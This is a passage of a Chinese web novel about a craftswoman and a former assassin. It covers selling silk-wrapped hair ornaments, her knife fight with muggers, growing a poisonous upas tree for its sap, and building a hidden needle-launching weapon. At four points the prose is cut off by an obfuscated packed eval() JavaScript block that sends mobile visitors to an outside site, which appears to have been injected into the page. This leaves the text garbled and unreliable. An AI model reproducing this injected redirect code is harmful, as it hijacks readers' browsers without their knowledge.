竹音指挥着他的动作,玄烬毕竟是第一次做,手法很生疏,两人的手指时不时碰到一起。 玄烬的身体几不可察的僵硬了一瞬,耳根发烫,但他心里越乱,脑子反而越清晰,跟随着竹音的讲解,居然一次就把花瓣给成功缠出来了。 “呀!好苗子啊!”竹音站在他身后,惊讶的拍了一下他的肩膀,赞赏道:“你这悟性,绝对是天生的手艺人,我刚开始学的时候,还缠坏了不少花瓣呢。你以前做过这个吗?怎么学的这么快。” “我……”玄烬感受着头顶的呼吸,不敢回头,只微微侧过脸,用余光去看竹音搭在自己肩膀上的手,声音比之前更低沉了些:“干过一些精细的木工活。” “原来如此。”竹音也没有深究他用木头做过什么。 她拉了把椅子过来,好整以暇的开始监工:“来来来,你多做点,要是做的好,就能给我当帮手了,我给你开月钱!” 她嘴上说的全是打趣的话,本意是让玄烬玩个痛快,自己也正好休息一下,结果玄烬却把她的话听进去了,眼睛一亮,跃跃欲试的说道:“我可以吗?” 竹音挑眉:“你还真想给我打工啊?” “想!”玄烬斩钉截铁的回答道,他盯着她的眼睛,好像生怕她反悔。 “咦,你这人——”竹音上上下下的扫视他:“以前没给人打过工吗?还想吃这个苦。” 她用手去戳玄烬的脑门:“打工又不是什么好事,你上赶着干嘛?玩玩得了。” “不,我就想干这个。”玄烬的头被她戳了一下,耳根更红,眼神却也更坚定。 他想给她帮忙,他想在这里也能有事做。 如果有事做,他就不会显得那么碍手碍脚了,说不定还能多住一段时间。 “也就是遇到了我……”竹音无语的看着他,就像在看一个智商归零的笨蛋:“换别人,就你这脑子,能给你骗的裤子都不剩。” 玄烬:“……” 虽然一听就知道不是好话,但他愣是忍住没反驳,还直勾勾的盯着她,等着她的回答。 最后竹音当然答应了下来。 廉价劳动力谁不喜欢,而且她确实也做累了,有人能帮忙,简直是皆大欢喜。 她提前给玄烬打预防针:“我这缠花现在卖的便宜,给你开的工钱也低,你做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092795|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好心理准备啊。” 玄烬高兴的点头:“嗯!” 就像一只抢到皮球的大狗,欢快的就差摇尾巴了。 真是没经历过资本家毒打的孩子呀。 竹音叹了口气,开始继续教他下一步工作。 这一晚,等到雨停了,月亮高悬,两人才熄了灯去洗漱睡觉。 一个睡东屋,一个睡西屋,中间隔着整个大堂。 明明距离很远,可玄烬躺在旧褥子铺成的床上,居然觉得莫名的安心和清静。 他透过窗户的缝隙往外看,目光定在皎洁的月亮上,外面雨停之后清新的草木香气一阵阵吹进来,让人心旷神怡。 这就是普通人的日子吧? 他有些欢快的想。 如果每天都是洗衣做饭缠花,那这样简单又重复的日子,也很美好不是吗? 竹音的声音忽然从东屋传过来,有些飘渺的清脆:“哎呀,我想起来了,你忘记洗衣服了,明天记得洗了啊!” 竹音说的是他今天换下来的那套湿衣服,本来洗完碗后,他应该去洗衣服的,结果学起了缠花,就把这事给忘了。 “好!”玄烬扬起声音喊道。 “行,累了一天了,早点睡吧,晚安。”竹音打了个哈欠,重重躺下,伸手摸了摸枕头下面的菜刀,闭眼开始睡觉。 “晚安。”玄烬将这两个字在嘴间咀嚼的几秒,眉目舒展开来,露出一个清浅的笑。 晚安,真是一个美妙的词呢。 …… 几天时间一晃而过,有了玄烬帮忙,竹音这回准备的存货更多。 到了开集那天,她照例起了个大早,提着箱子准备出门。 没想到玄烬也起来了,他接过竹音手上的箱子,很自然的说:“我送你去。” 竹音眯眼看着他:“你能露脸吗?” 玄烬一愣,继而点点头:“可以吧,这里没有认识我的人。” 竹音却有些不放心:“你还是少露脸为妙,说不准人家就找过来了,我自己去摆摊就行,你在家休息一天。” 玄烬的眸子失落的垂了下去,随即又抬起来:“我送你过去,在暗处陪着你,不露脸。” “嗯?”竹音斜睨着他:“这有什么区别吗?” “当然有,我可以帮你提东西。”玄烬说。 “我可以自己提,这点重量还难不倒我。” 竹音最近饭量大增,吃得好,身体便有力气,不到一个月的时间,就长了好几斤肉,她准备等到身体更好一些,不那么忙了,便开始锻炼肌肉。 提两个装缠花的箱子而已,缠花又没什么重量,根本就不压秤,对她来说是小意思,就当锻炼了。 玄烬想了想,指了指身上的伤口:“我还要去买点祛疤药,正好顺路。既然你要进城,我们就一起去吧。” 这算是个正当理由,竹音没道理阻止他去买药。 她思索片刻,进屋拿了个帕子出来,叫玄烬围在脸上:“别人问你,你就说自己偶感风寒,怕传给别人,这样挡着脸,别人看不清你,更安全,明白吗?” 12. 第12章 遇见混混 玄烬顺从的点头,心里为这句关心而感到雀跃:“我会一直戴着的。” 竹音叮嘱他:“不要往人多的地方跑,等我卖完东西我们再一块回来。” “好。” 竹音把其中一个箱子递给他,一人提了一个,一起往镇上走。 到了集市外,二人分道扬镳,玄烬去买药,竹音去卖缠花。 因为有预定的关系在,今天来的一大部分都是老客,老带新也不少,都是冲着占便宜来的,这样物美价廉的缠花,谁不想买一朵呢? 两大箱缠花很快卖光,没买到的顾客们像上次一样,提前跟她预定了款式,等到下个集再来取货。 她的生意这样好,引得道路两旁的摊贩频频侧目,对着她指指点点,说着小话。 竹音面不改色的收拾好空箱子,又把钱仔细揣进衣服内袋,确认不会轻易遗失,这才收摊离去。 有几个小混混见她是个独行的柔弱女人,眼珠子一转,就想在她身上捞一笔。 这年头揣着钱在街上走,若是看起来没点自保之力,就是个活靶子。 竹音从集市出来后,没走几步就发现了那几个不怀好意的跟踪者。 她本来准备去找玄烬汇合的,见到那三人越跟越近,索性脚底一转,进了旁边的巷子。 三个混混见她去了无人小路,顿时大喜,兴冲冲的跟了进去。 不远处,已经看到竹音的玄烬目光一凛,顿时也举步跟了过去。 巷子里,竹音状似毫无所觉的在前面走,甚至还从怀里掏出那包铜板,在手上掂了掂,嘟囔了一句:“今天的收益还不错,以后都能像这样就好了。” 小混混们蹑手蹑脚的跟着她,见她把他们最想要的东西拿出来了,顿时一拥而上,伸手去抢:“拿来吧你!” 他们本想抢一个出其不意,结果刚靠近竹音,跑在最前头的那人便觉得大腿一痛,发出一声惨叫:“啊!!!” 他豁然低头,惊恐的看向自己腿上插着的尖刀,露出不可置信的表情:“你……” “我?”竹音露出一个灿烂的笑容,然后猛的拔出了那把刀。 血像喷泉一样咕噜噜涌出来,男子往后躺去,凄惨的大叫,后面追上来的两个混混都看傻了。 竹音在他们没反应过来之前,已经举着刀,露出一个邪恶的微笑,飞速冲上去,对着其中一人的肩膀又来了一下:“欺负到你姥姥我头上来了!知不知道老娘是谁?不长眼的狗东西!” 巷子里又传出一声惨叫! 等她拔出刀,侧过头,准备去扎另一个人时,那人的背后忽然传来一道巨力,转瞬间便飞了出去。 与此同时,一道黑影出现,受伤的两个混混也被狠狠掼到了墙上,直接原地晕厥,完全失去行动能力。 一切只发生在电光石火之间,玄烬打完人,慌张的拉住竹音的手,上下打看她的身体:“你没事吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092796|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊,我没事。”竹音的手上还拿着匕首,掌心沾了不少血,都是那两个混混的,她推开玄烬,找了块帕子出来擦:“你怎么来了?” “我看到他们跟着你,怕你有危险……”玄烬看着地上负伤的两人,嘴边的话忽然有点说不下去。 好像危险的是那三个混混。 如果他没赶过来的话,竹音显然也能解决问题。 竹音哈哈笑出声:“多谢关心,你这朋友真不错啊,还能赶来救我。不过,你用那么大劲儿干什么,伤口还好吧?” 她对玄烬这种拔刀相助的行为还是很感激的,因此语气相当温和。 “朋友?”玄烬抓住了关键字,心里原本因为没帮到她而产生的挫败褪去,变成了惊喜:“你拿我当朋友吗?” “是啊,难道不是吗?”竹音理所当然的回道:“我救你一次,你救我一次,咱们也算……患难之交!” 她朝玄烬眨眨眼,露出揶揄的表情。 玄烬却很认真的点头:“对,我们是患难之交!” 他也勾起嘴角,露出个纯洁无害的笑容,显得整个人阳光明媚。 竹音被这笑容闪了一下眼睛,抽着冷气转过头。 这小子怎么回事?带着面罩还这么好看。 她擦干净手,俯身去掏地上三个人的荷包,打野不摸尸,等于白干活:“嘿,这几个人还挺有钱,咱们一人一半,今天的晚饭钱有了,我带你下馆子!” 13. 第13章 箭毒木 玄烬连忙拒绝:“我不需要。” 竹音直接把一半铜钱扔进他怀里:“给你你就拿着!你要不来,他们也不能这么快晕过去,省了我大事呢。” 她摸完钱,便开始处理三个人的身体。 玄烬想还回去,又怕她生气,犹豫了一下,把钱揣好,走上前去提议道:“我把他们扔到没人的地方去吧?” “你的伤还没痊愈,别做这种体力活,我自己来就行了。”竹音正在解几人的衣服,她要杀鸡儆猴,这些小混混,一次不把他们收拾服帖了,下回还敢来。 至于报复,说起来,她还真不怎么怕。 这副身体最近已经被她养的强壮了许多,虽然因为忙碌,肌肉还没来得及好好练,但仅靠上辈子学习的格斗技巧,就足以对付这些人了。 身体差距过大的情况下,打架要取巧,她现在虽然又矮又纤弱,但灵活度也显著增长,弥补了力量上的缺失。 世人总是恃强凌弱,欺软怕硬,只要她把名声打出去了,让大家知道她不好惹,往后的人再想打她的主意,也得掂量掂量,不会再贸然出手。 这可以为她解决很多不必要的麻烦,而这三个人就是她的第一组传声筒。 好名声固然重要,但有时候,坏名声才是行走江湖的保护伞。 玄烬不知道她还有这种本事,下意识为她担心:“留着他们,恐怕对你不利……” 以他一贯受到的教育来说,这三个人都该杀了,然后抛尸荒野,让野狗来处理尸体,以绝后患。 他刚才想帮竹音处理他们,就是抱着这样的想法,准备让他们永远消失。 “别啰嗦了,来,你要想干活,就给我帮忙,把他们全扒了,叫城里的人看个热闹。”竹音已经麻利的扒光了一个人的衣服,准备稍后就让他接受人群目光火辣辣的审视。 她侧过身,将手里的衣服卷到一起,扔到一边,玄烬看着那个失去所有衣服,原地遛鸟的昏迷混混,瞳孔地震:“你、他……” “快点啊,待会儿把衣服丢茅厕里,让他们光着回去,这才解气呢!”竹音脸上毫无看见男人身体的羞耻之意,已经向另一个人伸去魔爪,面上只有整人的兴奋。 玄烬:“……” 玄烬不由陷入了沉思,一时之间不知道这三人醒来后,是觉得当场死了好,还是这样颜面尽失的活着更好。 这、这操作属实是他没想到的。 许是担心竹音污了眼睛,他把竹音推到一边,一个人任劳任怨的帮助她完成了扒衣服大业,然后将三条死狗拖到距离巷子口五米的地方,方便路过的人看见,便抱着他们的衣服匆匆离开了。 路过一个茅厕时,竹音把三个人的衣服丢进了粪坑里,又用竹竿子怼了怼,让衣服沾满秽物,保证捞起来也不想要,这才神清气爽的离开。 惹她,绝对没有好果子吃! 玄烬跟在她后面,听她遗憾的讲:“要不是这衣服不适合流通,其实卖了换钱更好,真是白瞎了布料。” 玄烬:“……” 啊这,这对吗? 竹音也不管他接不接话,继续说:“咱们待会儿吃点什么?你想吃炒菜还是炖锅?” 清栀镇是个大镇,各种饭馆很多,本地人下馆子时经常吃的就是各类炒菜,或者炖鸡、炖鸭之类的锅子。 “我都行。”玄烬尽量抛去脑海中对刚才那件事的联想,跟上了竹音:“你吃什么我就吃什么。” 竹音今天心情好,于是带着他去小饭馆要了个包厢,点了四菜一汤。 等菜全都上齐了,小二关上门出去,玄烬才摘下面罩开始吃饭。 他牢记竹音的叮嘱,不在外人面前露全脸。 虽然知道这是为他好,但他心里也免不了自卑,觉得自己的身份上不了台面。 要是自己也是个普通人就好了…… 玄烬垂下眼睑,把情绪隐藏的很好,竹音没发现端倪。 小饭馆的厨子手艺不错,两个人满足的吃完饭,把剩下的半只烤鸡打包,一起回了家。 路上,竹音一边走,一边打量着山林中的树木,似乎在寻找着什么。 玄烬跟着她的目光看去,问道:“你在找什么呢?用不用我帮忙。” “可以啊。”竹音没回头,眼神还在山林中逡巡:“找点能制毒的东西,你认识吗?” “制毒?你要这种东西做什么?”玄烬一惊。 “防身啊,以后找我茬的人多了,我也不能回回都硬抗啊!得给自己留几个保命的后手。咦——”她忽然眼睛一亮,朝着树林深处钻去:“这里居然有一棵箭毒木?” “箭毒木?”玄烬连忙跟过去。 他听到竹音说防身和后手两个词时,便想起来自己和竹音曾经的对话,那时候竹音也问过他,为什么不带毒在身上。 他不会制毒,也没想过去研究,他所用的毒都是组织发给他的,从来都没操过心,但那剂量又很小,没办法藏下来自己用。 竹姑娘想要自己制毒吗? 他看着竹音在一棵其貌不扬的小树面前停下,摸着下巴嘟囔道:“这是箭毒木吧?看起来很像啊,它的种子能跑这么远吗?” 玄烬在她身后停下,也去打量那棵树,一人多高的小树苗,树干细细的,叶子呈长条椭圆形,叶脉清晰,茎干上有细小的黄褐色绒毛,乍一看,好像和其他植被没什么不同。 “这个有什么用?”玄烬下意识想要摘一片叶子来查看。 结果手刚接触到叶片,就被竹音“啪”的打掉:“你找死啊!” 手背一痛,玄烬连忙收回手,局促的看向竹音。 竹音叉着腰骂他:“你都不知道这是什么,你就敢摸?这玩意儿汁液有毒,见血封喉,你手上但凡有个小口子,汁液从伤口渗进去,你就无了!知道吗?” 玄烬顿时面色苍白,不敢说话。 不过他还是有些怀疑的,就这个小树,真能毒死人吗? 竹音从箱子里拿出装水的葫芦,拔开盖子:“把手伸出来,赶紧洗一洗,别待会儿忘了,塞进嘴里,真是死都不知道怎么死的。” 见她如此郑重其事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092797|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄烬也不敢耽误,连忙就着倒出来的水洗了手。 看他把手洗干净了,竹音略略放心,也没动那棵树,只记住了方位,便带着他走了出去:“等我做好手套,我们把它挖回去,种在院子里。” 此树在手,她做个暴雨梨花针之类的暗器,别的不说,防身绝对是够用了。 只要在针尖上涂上箭毒木的汁液,谁碰上谁倒霉啊。 玄烬见她如此重视这棵小树,立时计上心头,深深地看了那棵小树几眼,把它的形态牢牢记在心里,准备以后看见大树,再给她挖回来。 等到两人回家,也不过才到下午。 玄烬今天是打着买药的名义去镇上的,回来便被竹音催着涂药。 他便回了自己住的西屋,解开衣服开始涂抹祛疤的药膏。 涂完了胸前的伤口后,他忽然想起自己背后也有一堆陈年旧疤,似乎比胸前的更狰狞,便索性脱了上衣,背着手去涂后背。 不过这个姿势对人类来说还是太有难度了,他涂了半天也没涂匀,倒把后背搞得五花六道。 竹音见他半天没出来,有些疑惑,站在大堂里朗声问他:“怎么了吗?伤口裂开了?” “没、没有……”玄烬慌忙放下药膏,准备穿上衣服,但后背的药膏还堆积在一起,现在穿衣服,会全部粘到衣服上,一时间,他用手摩挲着后背,进退两难。 竹音皱了皱眉,又问:“那是怎么了,还没涂好?需要帮忙吗?” 玄烬本来不想让竹音看到他涂个药膏都涂不好的狼狈样子,这样会显得他很蠢。 但当初他还躺在地上时,竹音尽心尽力给他擦洗涂药的回忆,忽然涌上心头,让他无比留恋,有些话没经过大脑便说出了口:“我后背涂不到,你能帮我涂一下吗?” 竹音了然,举步走了进去:“我说呢,你怎么这么久还没涂好。” 一进屋,男人精瘦白皙的上背便映入眼帘。 薄肌,宽肩,细腰,比例完美。 前提是忽视上面纵横交错的疤痕。 已经是第二次看了,竹音还是觉得他的伤疤很具有视觉冲击力,难以想象他曾经究竟遭受了多少顿毒打,才能让自己的后背变得这样惨不忍睹。 “你该早点喊我的,这都涂到别的地方去了。”竹音接过药膏,伸出手帮他重新涂抹。 温热的手指在玄烬后背上游走,带着按揉药膏的力道,让他浑身紧绷,脸颊也有些发烫:“我、本来以为自己可以……” “下回涂后背的时候直接喊我就行。”竹音了解他这个拧巴的性子,一边涂一边说,语气一本正经:“我都给你擦洗过了,什么地方我没看过,不用这么客气。” 感受着后背那股酥麻而陌生的感觉,玄烬的脸颊似乎要烧起来,他抓着自己的裤子,眼睛都不敢乱看,只嗫嚅道:“怕麻烦你……” 说完,他都忍不住唾弃自己的卑劣。 真要怕麻烦,就不会喊人家进来帮自己涂药了。 他不就是想要得到她的关心吗? 口是心非! 14. 第14章 暴雨梨花针 竹音一边说话,一边注意着玄烬的反应,从她的角度看过去,只见玄烬的脸红了又白,白了又红,一副坐立不安的模样。 她手上动作不停,还在给玄烬涂抹药膏,但眼中的神色已经变成了若有所思。 这小子……不会思春了吧? 涂个后背而已,至于吗? 最后一道疤痕涂抹完毕,竹音“啪”的一巴掌打在他后背上,让他清醒过来:“行了,别发呆了,穿衣服吧。” “哦、哦……啊。”玄烬恍然回神,连忙把衣服披在身上,慌乱的去系带子。 竹音已经转身走了出去。 既然已经找到了箭毒木这种好东西,那就要好好利用起来。 她在纸上罗列自己可能要用到的物品。 想把箭毒木挖回来,全身防护少不了,明天去挖树苗的时候,要从头到脚包裹油布,戴厚棉手套,防止自己接触到汁液。 还要准备一个大花盆,不能直接种在院子里,不然搬家了不好带走。 箭毒木的汁液流出后很快就会氧化,所以还要准备一瓶高度酒,用来封存汁液。 最后,也是最关键的,她需要准备大量生石灰,用来处理用过的工具,还要准备好解药,真要是不小心中招了,总要有应对办法。 不过箭毒木其实没有特效解药,如果倒霉毒到了自己身上,也只能依靠催吐和强心药剂来缓解,所以用的时候必须十分谨慎,除非迫不得已,她不会使出这招。 就像她和玄烬说的那样,这只是她的保命后手。 玄烬出来的时候,就看见竹音正把一张写满了字的纸叠起来,放进荷包里。 见玄烬的脸色已经恢复如常,她招手喊玄烬过来,问道:“你会做暗器吗?暴雨梨花针什么的。” “暴雨梨花针?”玄烬满脸茫然,显然没听说过。 竹音跟他形容了一下暴雨梨花针的使用方法,玄烬的茫然变成了惊奇,但依旧表示自己没见过。 竹音失望的叹了口气,发现这事恐怕偷不了懒了,只能自己来。 她随手找了沓纸,在玄烬的注视下,做了个纸模型出来,演示给他看:“前面有几排发射孔,可以放数十根针,只要控制住后面的机关拨片,就可以发射。 为了防误触,侧面还要加一个卡榫,像这样,打开卡榫才能用,能看明白吗?” 在竹音的操作下,玄烬目瞪口呆的看着她用纸模型发射出去了一堆短短的竹签。 竹签飞到前方,稳稳的扎在了木门上,虽然入木不深,但也足以见到它的威力。 “这,这暗器好厉害……”玄烬瞳孔放大,感到极度的不可思议,一时之间都不知道该用什么词来夸奖她,只觉得又一次刷新了对竹音的印象。 竹姑娘怎么什么都会? “还不错吧!我想做个铁的,不知道哪里能定制。”竹音把纸模放在桌上,有些苦恼的说。 “我能做!”玄烬立刻接话,双眼亮晶晶的看着她:“让我试试!” 他的目光里充满了迫切和坚定。 除了缠花之外,他终于又找到了一个能够帮助竹音的地方了。 竹音等的就是他这句话,善于利用身边所有的资源,是每个老板的基本操作。 见自己小露一手,就让玄烬跃跃欲试,上赶着帮她干活,竹音心里满意极了。 她笑眯眯的对玄烬道:“好呀,那我的防身暗器,可就靠你啦!” 她绝对不是个迟钝的人,玄烬的种种反应,已经证明了他那不可告人的小心思。 既然这小子看起来对她有好感,那么目前来说就是安全的,安全的人不用白不用,都留在她身边了,自然要尽可能的发挥最大的价值。 玄烬欢喜雀跃的接过那个纸模型,整个人如获至宝,立马投入了研究。 他也不是没见过更精巧的暗杀武器,但这个叫暴雨梨花针的暗器,绝对是个新鲜货。 虽然他不想继续做杀手,然而对于武力和武器的掌控,却并不让他厌烦,想在这世上过得好,要么有权力,要么有拳头,一个都没有,注定要过苦日子。 这个道理他明白的很,所以看到有用的新鲜事物,就会主动去钻研学习。 …… 下次的大集又是十天后。 这十天里,竹音和玄烬全副武装,一起把那棵箭毒木的树苗挖回了家里,种在一个土陶花盆中。 竹音搞了一堆瓶瓶罐罐,用蒸馏法提纯了高度白酒,用来给箭毒木的汁液做抗氧化剂。 他们二人,上半天做缠花,下半天一个制毒,一个打铁,倒是过的相当充实。 玄烬从来没觉得自己的干劲儿这么足过,原来做自己想做的事,真的感受不到累。 每天晚上,非得竹音催他去休息,他才会恋恋不舍的放下手里的工具,去洗漱安睡。 只是即便躺到床上,他的脑子也没停下运转,一门心思都放在自己即将做好的那件暗器身上。 要不是早起打铁被竹音骂过,他恨不得每天睡两个时辰就爬起来干活。 竹音对于自己拥有一个高能量的室友感到麻爪。 之前养伤的时候,还没觉得这小子身上有什么过人之处,现在看他每天精力如此旺盛,不吃饭不睡觉都能干活,她才发现玄烬是个高精力人群,和自己这种干点活就想睡一天的低精力人群完全不同。 为了自己的小命着想,竹音没准备跟着他一起卷,反而打起了买仆人的主意。 这次卖完缠花后,就可以去人牙子市场转转了,看看能不能捡漏几个小姑娘回来当学徒,不然一天到晚叫她自己缠花,早晚眼睛都得瞎。 这种精细活,还是要几个人轮流着干才行。 出摊的前一天,竹音的毒制好了,玄烬的暗器也做出了第一版,两人简直是神同步。 玄烬将一把尖锐的细针插进暗器中,在木门上试验效果。 只见他用手扣动机关后,一片铁针立刻呈扇形飞了出去,在木门上留下密密麻麻一大片扎孔,劲头十足,入木三分,让人光是看着就觉得毛骨悚然,生怕被这玩意儿误伤! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100667|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事实上,这扇可怜的木门在他做试验时就已经被扎了许多小孔出来,现在整扇门摇摇欲坠,看起来更可怜了。 也就是屋里住的两个人都不是普通过日子的人,不然把家里的木门弄成这样,换到任何一户农家,高低要挨顿骂。 “好!”竹音激动的给他鼓掌,心里的大石落地:“你可太厉害了,这么快就弄出来了!” 这样以后她出门又能多一重保障,哪怕不涂毒,敌人挨上这一下,也得重伤。 玄烬垂下举着暗器的手臂,心里有被夸赞的高兴,还有些不好意思:“主要是你的模型做的好,我就是照猫画虎。” “可别这样讲,我那模型粗糙着呢,发射力度也不够大,这些改进都是你做出来的,不要这么谦虚。”竹音真情实感的夸奖他:“就冲这个暗器,明天在镇上摆完摊,我得请你好好吃顿饭。” “不用了不用了。”玄烬赶紧摆手:“我真的没做什么。” 他小心翼翼的说:“我要戴面罩,下馆子太麻烦了。” 竹音微怔,没想到他担心这个。 不过确实,玄烬想要隐藏身份,必须戴面罩,可是戴着面罩其实也很引人注目,必定不是长久之计。 她想了想,说道:“我给你化妆吧,明天去买点胭脂水粉,给你的眉眼和骨相改一改,就没人能认出来了。” 玄烬:“啊?” 他从来没化过妆,但听竹音这个描述,她所说的化妆,好像更像另一种东西:“你说的是不是易容术啊?” 竹音以前做汉服头饰博主,为了视频能够火爆,各种仿妆、汉服妆造都学了不少,只要工具齐全,的确可以称为换头术。 她朝玄烬眨眼:“差不多吧,到时候给你画完,你就知道了。你有喜欢的形象吗?高冷的,桀骜的,还是温润如玉的?想画的年轻点,还是年长点?” “这些你都会吗?”玄烬睁大眼,感觉竹姑娘真是越接触越觉得神秘。 “会一点,不太精通。”想着这里的胭脂水粉工艺可能不太先进,竹音保守的说道。 第二天。 玄烬跟着她去摆摊,依旧戴着面罩。 经过这十天,他的伤势已经基本痊愈了,现在唯一让他烦恼的,就是全身祛疤。 上次买的祛疤药膏效果不太好,涂了这么久,仅仅帮他淡化了一点,所以今天他准备再去买点别的祛疤膏试试。 除了祛疤膏以外,他身上还揣着一张小纸条,上面写的是竹音让他购买的胭脂水粉,晚上回去后,她要给他化妆。 一想到化妆时,两人的距离会更近,玄烬走在路上都觉得脸颊要起热了。 不行,不能这样。 晚上的时候,他一定要绷住神情,不能闹笑话! 集市里。 竹音虽然只是第三次来摆摊,但在低价缠花领域已经打出了名声,不少姑娘们从亲朋好友那里听说她的名号,今日结伴来买头饰。 今天的生意依旧好的不得了,不少商贩都对着她的摊位眼红。 15. 第15章 送缠花给小姐 商贩们眼神里的机锋竹音从来不怕,同样做生意,有人赚有人赔,这都是很正常的事。 不过让她感到疑惑的是,上次被她扒光了丢到巷子口的三个人不见了。 按照她的预测,这三人的确在镇上成为了人们茶余饭后的搞笑谈资,但她的恶名却没传出去,今天她观察了一天,一个混混都没见到。 这是怎么回事? 虽说她敢赌那三人不敢再来招惹她,但他们知道她今天来摆摊,肯定会气不过,必然要露个脸,躲在远处指指点点。 竹音沉吟了一会儿,想到了玄烬,不会是这小子做了什么吧? 那天之后的第二天,他们还一起来镇上买了许多东西,当时玄烬去买打铁工具,和她分道扬镳的一段时间,如若他出手了,必然是那个时候干的。 他做了什么,居然能让那三个人完全不出现? 不会是死了吧? 竹音心里悚然一惊。 她虽然道德水平有时候若隐若现,但杀人这件事,还是有些突破底线的。 刚想到这里,她又回过神。 不对,应该没有死。 要是死了,镇上肯定传遍了,哪里会这样风平浪静。 所以,玄烬应该是用别的方法修理了那三个人,让他们对她避之不及。 会是什么办法呢? 竹音的脑海里一下子漂浮过无数损招。 “摊主,这个怎么卖?” “摊主,这朵缠花多少钱?” 竹音正走神的时候,她摊位上的一朵松枝仙鹤重工缠花,同时被两个姑娘看上。 这朵缠花由一只羽毛雪白的仙鹤,以及一枝苍绿色的松枝组成,仙鹤站在松枝上,仙气飘飘,意境深远,是她前几天特意做的吸睛款,美则美矣,但价格也很高,毕竟一分钱一分货。 “500文!”竹音扬起笑容,快速的回答道。 眼前这两位姑娘都带着贴身丫鬟和护卫,一个穿粉裙,一个穿蓝裙,衣着打扮体面精致,一看就是富贵人家的小姐。 这样的大客户,要是能抓住一个,今天就赚了。 “真好看。”蓝裙小姐显然很喜爱这支松鹤缠花,伸手就要去拿。 旁边的粉裙小姐似乎和她有些不对付,抢先一步将缠花拿了起来,得意洋洋的说:“这支花我要了!香云,拿钱!” 话是对丫鬟说的,眼神却紧盯着蓝裙小姐,满脸都是挑衅。 蓝裙小姐云淡风轻的看了她一眼,没说什么,倒是她身边的丫鬟气的面色发红,一副欲言又止的模样,很想替自家小姐说话。 这支花明明是她们小姐先看上的! 竹音是个商户,自然不会掺合客人的纷争,她的眼神在两位小姐的身上转了一圈,假装什么都看不懂的样子,欢天喜地的收了银子,嘴里的漂亮话不要钱一般往外说,还专门拿出个精美的盒子,给粉裙小姐把缠花装了起来。 见她这样识趣,粉裙小姐被恭维的很满意,傲娇的说道:“你这摊子虽然寒酸了些,手艺却还不错。” “多谢小姐赏识!您要是喜欢,我以后做了新品,可以送到府上!”竹音打蛇上棍,一副利欲熏心的市侩商贩形象。 “哼,那就不必了,这种不上档次的东西,买来玩玩罢了。”粉裙小姐转过身,高傲的走了。 蓝裙小姐看着她的身影走远,这才转头对竹音温和的说:“你做的缠花很好,不必把她的话放在心上。” “啊!多谢小姐体恤。”竹音本来也没把这事放在心上,奇葩顾客她见的多了,以前开网店的时候,顾客来自五湖四海,什么牛鬼蛇神都能遇见。 但有人充满善意的开解她,她还是很感激的,见那粉裙姑娘的身影已经彻底消失不见,她叫住准备离开的蓝裙小姐,对她说:“小姐等一等,我还要好东西给你看。” 蓝裙小姐诧异的回眸,便见她从身后的箱子里又拿出来一支重工缠花,这回是一只蓝紫色渐变孔雀,尾部拖曳着长长的羽翼,站在一簇山茶花中间,大气又华美,让人见之忘俗。 “哇!小姐,是孔雀呀,这支更美!”丫鬟惊喜的说道。 竹音将这支缠花往前递了递:“小姐看看,可还合眼缘?” 时间有限,她一共就做了两只重工缠花,一只走仙气风,另一只走华贵风,都是极其精巧的款式。 如若不是大衡国有要求,非公侯皇族不可佩戴龙凤,她就直接做更拿手的凤凰了。 蓝裙小姐接过竹音手里的缠花,细细观看,只觉得的确比松鹤的那一支更精美,更符合她的心意。 “多少钱?我买了。”她爽快的对竹音说道。 “这支800文,不过我想送给小姐,不要钱。”竹音笑着说道。 “这是为何?”蓝裙小姐蹙眉看着她。 无事献殷勤,非忓即盗,大户人家的女儿更懂得这个道理。 她们本来就有钱,又何必占人小便宜? 竹音搓搓手,露出个不好意思的表情:“我一个孤女,做点小买卖不容易,今日难得碰见小姐您这样心善的人,愿意替我说话,我心里暖暖的,故而不想要钱。” “那怎么行?这也是你辛辛苦苦做的。”蓝裙小姐听她这样说,顿时更坚定了给钱的决心。 